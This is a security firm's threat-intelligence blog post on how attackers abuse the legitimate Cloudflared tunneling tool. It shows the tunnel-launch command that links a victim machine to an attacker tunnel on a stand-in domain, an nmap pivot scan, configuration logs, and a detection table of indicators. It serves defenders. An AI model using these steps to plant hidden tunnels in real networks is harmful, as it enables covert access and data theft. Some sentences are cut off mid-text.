Tunnel Vision: CloudflareD AbuseD in the WilD

Posted by: Nic Finn 10 min read

August 3, 2023

Introduction

Across the cybersecurity community, defenders are constantly finding threat actors using novel and innovative techniques to further their exploitation efforts against target networks. Lately, some Threat Actors (TAs) have pivoted to using legitimate tools that defenders may see utilized more commonly in their networks, decreasing the chance of detection by traditional anti-virus, EDR, and

name, Cloudflared. I'll get into how Cloudflared works later, but the key point is that Cloudflared reaches out to the Cloudflare Edge Servers, creating an outbound connection over HTTPS(HTTP2/QUIC), where the tunnel's controller makes services or private networks accessible via Cloudflare console configuration changes. These changes are managed through Cloudflare's Zero Trust dashboard and are used to allow external sources to directly access important services, including SSH, RDP, SMB, and others.

Overview

Cloudflared is functionally very similar to ngrok, an ingress-as-a-service tool that's been used by TAs for quite some time now. However, Cloudflared differs from ngrok in that it provides a lot more usability for free, including the ability to host TCP connectivity over Cloudflared. Additionally, Cloudflared provides the full suite of Access controls, Gateway configurations, Team Management, and User Analytics.

Malicious Use Cases

For a malicious actor, this is a dream come true; it allows a TA to configure an environment in advance of an attack, then execute a single command from a victim machine to establish a foothold and conduct further operations. Since the Cloudflared execution only requires the token associated with the tunnel they've created, the TA can initiate these commands without exposing any of their configurations on the victim machine prior to a successful tunnel connection. Once the tunnel is established, Cloudflared obtains the configuration and keeps it in the running process.

These are important to note, because the TA can easily modify the tunnel configuration on the fly once the victim machine establishes a tunnel to their infrastructure. For example, using GRIT's test domain, not-malicio.us, I can pre-configure a tunnel on the Cloudflare Dashboard with a Public Hostname for access.not-malicio.us hosting an RDP service at localhost:3389, and another for share.not-malicio.us hosting SMB at localhost:445.

Now, whenever I run Cloudflared on a victim machine with the token associated to the bad-guy-tunnel, that victim machine will accept traffic from clients through the Cloudflared tunnel. All I need to do on the victim machine is ensure that RDP and SMB are enabled, before attempting to connect.

Here we can see the successful connection established using Cloudflared's access command, and the resulting RDP session pointing to localhost:3389:

Successful RDP Connection from Attacker to Victim

For SMB, the same process can be used:

Successful SMB Connection from Attacker to Victim

From the victim machine perspective, the configurations are pulled at the initiation of the connection, and whenever there's a change made to the Cloudflare Tunnel config. For example, with both the access and the share hostnames configured, the Cloudflared command line output shows the following configuration:

```
2023-06-28T15:14:31Z INF Updated to new configuration config="{\"ingress\":
[{\"service\":\"smb://localhost:445\",\"hostname\":\"share.not-
malicio.us\",\"originRequest\":{}},
{\"service\":\"rdp://localhost:3389\",\"hostname\":\"access.not-
```

However, if I leave the tunnel open and delete the share.not-malicio.us hostname, the tunnel immediately updates with a new configuration:

```
2023-06-28T15:29:40Z INF Updated to new configuration config="{\"ingress\":
[{\"hostname\":\"access.not-malicio.us\",\"originRequest\":
{},\"service\":\"rdp://localhost:3389\"},{\"service\":\"http_status:404\"}],\"warp-
routing\":{\"enabled\":true}}" version=17
```

The tunnel updates as soon as the configuration change is made in the Cloudflare Dashboard, allowing TAs to enable functionality only when they want to conduct activities on the victim machine, then disable functionality to prevent exposure of their infrastructure. For example, the TA could enable RDP connectivity, collect information from the victim machine, then disable RDP until the following day, thus lowering the chance of detection or the ability to observe the domain utilized to establish the connection.

Why This Matters

TAs are constantly looking for opportunities to conduct their activities under the radar. This tool is a legitimate binary, supported on every major operating system, and the initial connection is initiated through an outbound HTTPS connection to Cloudflare-owned infrastructure, followed by data exchanged to tunnel connections over QUIC on port 7844. This means that most firewalls or network-based defenses will allow this traffic, as most firewall rules are far more relaxed toward outbound connections. TAs don't have to expose any of their infrastructure, except the token assigned to their tunnel, to anyone except Cloudflare prior to a successful connection, and their ability to modify the configuration of the tunnel in real time means post-breach analysis is severely limited if the TA covers their tracks.

Additionally, the availability of a persistence mechanism that can be effectively lobotomized when attackers aren't actively utilizing it is extremely powerful for a malicious actor. Adding in the capability to exfiltrate data using nothing more than SMB enhances the threat Cloudflared poses in an obvious and serious way.

From the attacker's perspective, there are three things they'll need to do to conduct malicious

Victim machine is as simple as

```
cloudflared tunnel run --token <token from Cloudflare>
```

Lastly, they'll need to connect to the Cloudflared tunnel as a client to access the victim machine. For the Public Hostname processes described above, this can be done by running Cloudflared from their attacker infrastructure. Using the more robust Private Network functionality, which I'll get into next, the attacker needs to connect to the Cloudflare account through Cloudflare's Warp tool, but the process is mostly the same as using Cloudflared.

But Wait, It Gets [Better|Worse]

So far, I've only mentioned the use of Cloudflared to establish connections to individual services on the victim machine. Of course, this is already a big risk, but Cloudflared supports so much more functionality than just hosting individual services via a Cloudflared tunnel. Another tunnel configuration feature, Private Networks, allows an administrator to provide access to an entire CIDR range through the tunnel, allowing a client device, such as an attacker's machine, network access as though they were physically collocated with the victim machine hosting the tunnel. To test the functionality of this feature set, I created the following environment:

Network Diagram for Cloudflared Tunnel Demonstration

As the attacker, I need to have some knowledge about the victim's network environment to configure the tunnel to allow access to the Private Network. In this case, a simple ipconfig from the victim machine gets me some basic details demonstrating the IP address and subnet of the machine. Then, I add the 10.20.20.0/24 CIDR range to give my attack machine access to this

Example Cloudflare Tunnel Configuration – Private Network

Worryingly, while the command line output for the victim machine does update with a new configuration, the private network details do not show up in the output. This means TAs using the Private Network feature can keep this portion of their configuration hidden from defenders, even if the defenders are monitoring the Cloudflared execution in real time.

```
2023-06-28T15:53:29Z INF Updated to new configuration config="{\"ingress\":
[{\"hostname\":\"access.not-malicio.us\",\"originRequest\":
{},\"service\":\"rdp://localhost:3389\"},{\"service\":\"http_status:404\"}],\"warp-
routing\":{\"enabled\":false}}" version=18
2023-06-28T15:54:30Z INF Warp-routing is enabled
2023-06-28T15:54:30Z INF Updated to new configuration config="{\"ingress\":
[{\"hostname\":\"access.not-malicio.us\",\"originRequest\":
{},\"service\":\"rdp://localhost:3389\"},{\"service\":\"http_status:404\"}],\"warp-
routing\":{\"enabled\":true}}" version=19
```

From here, an attacker can interact with any device in the private network. Now that the private network is configured, I can pivot to devices on the local network, accessing services that are limited to local network users. Here we see the results of an nmap scan conducted from my attack machine, across the Cloudflare Tunnel, against Victim File Server:

```
┌──(user㉿kali)-[~]
└─$ sudo nmap -sV -Pn -p 445,8000 10.20.20.110 -vv
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-28 14:38 EDT
...
Scanning 10.20.20.110 [2 ports]
Discovered open port 445/tcp on 10.20.20.110
Discovered open port 8000/tcp on 10.20.20.110
...
PORT     STATE SERVICE       REASON         VERSION
445/tcp  open  microsoft-ds? syn-ack ttl 63
```

Because our attack machine is effectively on the network now, we can simply browse to the site on port 8000 and see the contents or attempt to access the SMB share.

Attacker can access hosts on Victim's network

Attacker accessing SMB to Server on Victim's private network

Although I'm accessing the Victim File Server machine from our attack machine, network monitoring tools will see this traffic as originating from our Victim PC, which is much more likely to be expected behavior. All the while, the Cloudflared executable output does not show these successful connections, as it only populates the standard output with errors.

Account-less Tunnels are also a thing…

To push for more developer-friendly processes, Cloudflare also developed the TryCloudflare feature, with which a user can create a single-use Cloudflared tunnel with the following command:

```
cloudflared tunnel --url http://localhost:<port>
```

This command generates a random hostname as a subdomain of trycloudflare.com, allowing anyone

identifiable information to Cloudflare or on the victim machine.

What Threat Intel can we Collect?

Attempting to capture actionable threat intelligence from Cloudflared on a victim machine can be difficult. First, Cloudflared does not store logs on the tunnel server by default. If Cloudflared is executed from a command line, the log output is sent to stdout, meaning a defender may be able to view the activity in real time, but only if they have access to the process in a command prompt or terminal context. This becomes problematic if the threat actor runs Cloudflared as a service on the victim machine.

For environments where the Cloudflared output is accessible to SOC and CTI team members, these should be reviewed to determine whether any domains have been configured in the attacker's Cloudflare Tunnel configuration. The outputs when a Public Hostname is configured should look like this:

```
config="{\"ingress\":[{\"service\":\"rdp://localhost:3389\",\"hostname\":\"rdp.not-malicio.us\",\"originRequest\":{}},{\"service\":\"http_status:404\"}],\"warp-routing\":{\"enabled\":true}}"
```

Is this example, not-malicio.us is attacker-controlled infrastructure, with name server records associated to Cloudflare so this tunnel can be established.

If the Cloudflared output is not accessible, but the command used to establish the tunnel was observed, like cloudflared.exe tunnel –token <token>, CTI team members could re-run the command to determine whether any Public Hostname configurations are still in place. However, doing this does temporarily expose the host running the command to the attacker's tunnel and these connection efforts may be observed by an attacker monitoring Cloudflare's Zero Trust logs. It

is also worth noting that the only configuration output available from the machine establishing the tunnel is the configuration at the time that the connection is established. Attackers can protect themselves from exposure by adding a Public Hostname, conducting their activity against a machine hosting a tunnel, then delete the Public Hostname during engagement downtimes.

Cloudflared Use

Upon creation of a tunnel, Cloudflared sends a series of DNS queries, starting with protocol-v2.argotunnel.com, that eventually returns a list of IP addresses for Cloudflared to attempt to establish tunnel connections over QUIC. Once the connection is established, Cloudflared will conduct regular update checks with update.argotunnel.com. On networks where Cloudflared use is not expected or authorized, this should stand out as an easy target for monitoring and detection. Observed DNS requests include _v2-origintunneld._tcp.argotunnel[.]com, region1.v2.argotunnel[.]com, and region2.v2.argotunnel[.]com.

Tunnel connections are established by the Cloudflared process to four IP addresses from the DNS results over the QUIC protocol on port 7844. This non-standard port should be monitored and/or blocked on networks where Cloudflared use is unexpected or unauthorized.

By default, Cloudflared tunnels occur over the QUIC protocol. In my testing, it appears these connections are directed toward four Cloudflare-owned IP addresses. These IP addresses tend to reside at the two nearest Cloudflare data centers. For example, in one test we observed the following output during tunnel initialization:

```
2023-06-27T14:39:09Z INF Registered tunnel connection connIndex=0 connection=be16cd21-4d6a-4c02-87c3-85a407f248cc event=0 ip=198.41.192.227 location=EWR protocol=quic
2023-06-27T14:39:09Z INF Registered tunnel connection connIndex=1 connection=0d431957-e141-499d-aef7-f0734ceaed86 event=0 ip=198.41.200.63 location=ORD protocol=quic
2023-06-27T14:39:09Z INF Warp-routing is enabled
2023-06-27T14:39:09Z INF Updated to new configuration config="{\"ingress\":[{\"hostname\":\"rdp.not-malicio.us\",\"originRequest\":{},\"service\":\"rdp://localhost:3389\"},{\"service\":\"http_status:404\"}],\"warp-routing\":{\"enabled\":true}}" version=6
2023-06-27T14:39:10Z INF Registered tunnel connection connIndex=2 connection=d7cfe73f-02cb-4cb6-bf5d-de84aa7a501b event=0
…
```

This command line output indicates that the first IP was established to Cloudflare data centers in Newark, New Jersey, and Chicago, Illinois. During my analysis, I did not observe a way to specify which data centers Cloudflared should connect to. Organizations using Cloudflare services legitimately could potentially limit their services to specific data centers and generate detections for

Category	Observable	Response Action
DNS Logging	Queries for update.argotunnel.com, protocol-v2.argotunnel.com, and *.v2.argotunnel.com	Sinkhole the argotunnel.com domain or establish alerts for these queries
Firewall Logging	Outbound connections to port 7844	Block traffic for unauthorized subnets/hosts to this port
Command Line Execution/Logs	Arguments containing 'tunnel run –token' and related variants	Alert and/or isolate unauthorized hosts executing these commands
EDR File Monitoring	File hashes matching github.com/cloudflare/cloudflared/releases samples	Block downloac or delete and alert responders to attempts to download these executables

For additional information about recommended Firewall configurations to block or limit use of Cloudflared, see Cloudflare's "Tunnel with firewall" documentation.

Living of the Land Attacks will Continue

require configuration files or manual updating in other tools. The ability to change the configuration of the tunnel on the fly and have those changes immediately update on the tunnel server could lead to some serious issues for network defenders.

This isn't just a proof of concept, either. GRIT and GuidePoint's DFIR team have seen this tool in use by multiple threat actors this year, although admittedly to a less sophisticated extent. It's only a matter of time before this tool is used by many threat actors for persistence and exfiltration. Defenders need to get ahead of this threat and have a clear understanding of how the tool operates. Also, policies need to be established to prevent the execution of this tool without a manual approval process. Teams need to make similar considerations establishing policies for all Living of the Land tools that can be abused by threat actors within a network.

Categories: BLOG CYBERSECURITY GRIT BLOG INCIDENT RESPONSE & THREAT INTELLIGENCE NETWORK & INFRASTRUCTURE SECURITY

Share

Tags: GRIT VULNERABILITY

NIC FINN

SENIOR THREAT INTELLIGENCE CONSULTANT,
GUIDEPOINT SECURITY

Nic Finn is a Senior Threat Intelligence Consultant on GuidePoint Security's consulting team, where he engages in threat intelligence development and reporting on behalf of the firm's clients. His career background includes cybersecurity operations for several clients over various verticals.

Nic joined the GuidePoint team from Sophos' Managed Threat Response (MTR), where he was a Team Lead directing operations for a 10-member team. Prior to MTR, Nic served the United States Air Force (USAF) as a Special Agent in the Office of Special Investigation (OSI), a Military Criminal

In addition to various roles in cybersecurity and counterintelligence, Nic served as a Weapons Director, controlling USAF combat aircraft during training and live-fire air-to-air engagements and exercises.

Nic has excelled in numerous forensics and cyber security courses, obtaining various certifications in digital evidence collection, cyber investigations, and forensic analysis.

Related Articles

View All

GuidePoint Research and Intelligence Team

Read More

2 min read

NETWORK & INFRASTRUCTURE SECURITY

Network Security Services Overview

GRIT BLOG

Quarterly Ransomwar – Q2 2023

Read More

Be Informed + Reduce Risk.

Better protect your organization with our unmatched expertise and proven approach to cybersecurity.

Talk to an Expert

Services & Technologies

- Application Security
- Cloud Security Services
- Data Security & Privacy
- Email Security
- Endpoint Security
- Governance, Risk & Compliance
- Identity & Access Management (IAM)
- Incident Response & Threat Intelligence